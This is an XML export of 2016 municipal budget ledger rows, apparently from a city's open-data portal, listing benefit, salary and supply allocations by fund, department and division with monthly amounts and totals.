<row _id="19185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14160</total></row>
<row _id="19186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>88664</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88664</total></row>
<row _id="19187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>64044</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64044</total></row>
<row _id="19188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14020</total></row>
<row _id="19189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>37100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37100</total></row>
<row _id="19190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>692288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>692288</total></row>
<row _id="19191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>138204</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>138204</total></row>
<row _id="19192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19470</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19470</total></row>
<row _id="19193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>180512</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>180512</total></row>
<row _id="19194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>126312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>126312</total></row>
<row _id="19195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="19196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>348659</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>348659</total></row>
<row _id="19197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>827883</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>827883</total></row>
<row _id="19198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>138931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>138931</total></row>
<row _id="19199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>23489</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23489</total></row>
<row _id="19200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11271</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11271</total></row>
<row _id="19201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8535</total></row>
<row _id="19202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5404</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5404</total></row>
<row _id="19203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>737</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>737</total></row>
<row _id="19204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3077</total></row>
<row _id="19206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="19207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404770.0</object><object_description>PROP C LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-1394160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1394160</total></row>
<row _id="19208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17850</total></row>
<row _id="19209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>30090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30090</total></row>
<row _id="19210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149685</total></row>
<row _id="19211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23689</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23689</total></row>
<row _id="19213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1729</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1729</total></row>
<row _id="19214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-85120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85120</total></row>
<row _id="19215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="19216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>91782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>91782</total></row>
<row _id="19217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19060</total></row>
<row _id="19218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8000</total></row>
<row _id="19219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544280.0</object><object_description>HAZ-MAT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12011</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12011</total></row>
<row _id="19220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402740.0</object><object_description>SMURRF-CITY OF LA-CAPITAL</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-161662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-161662</total></row>
<row _id="19221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>724472</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>724472</total></row>
<row _id="19222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18413</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18413</total></row>
<row _id="19223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>98648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>98648</total></row>
<row _id="19224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12740</total></row>
<row _id="19225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15520</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15520</total></row>
<row _id="19226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2220</total></row>
<row _id="19227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>387</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>387</total></row>
<row _id="19228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3124</total></row>
<row _id="19229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5776</total></row>
<row _id="19230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>205</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>205</total></row>
<row _id="19231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29076</total></row>
<row _id="19232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9711</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9711</total></row>
<row _id="19233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>813</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>813</total></row>
<row _id="19234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5857</total></row>
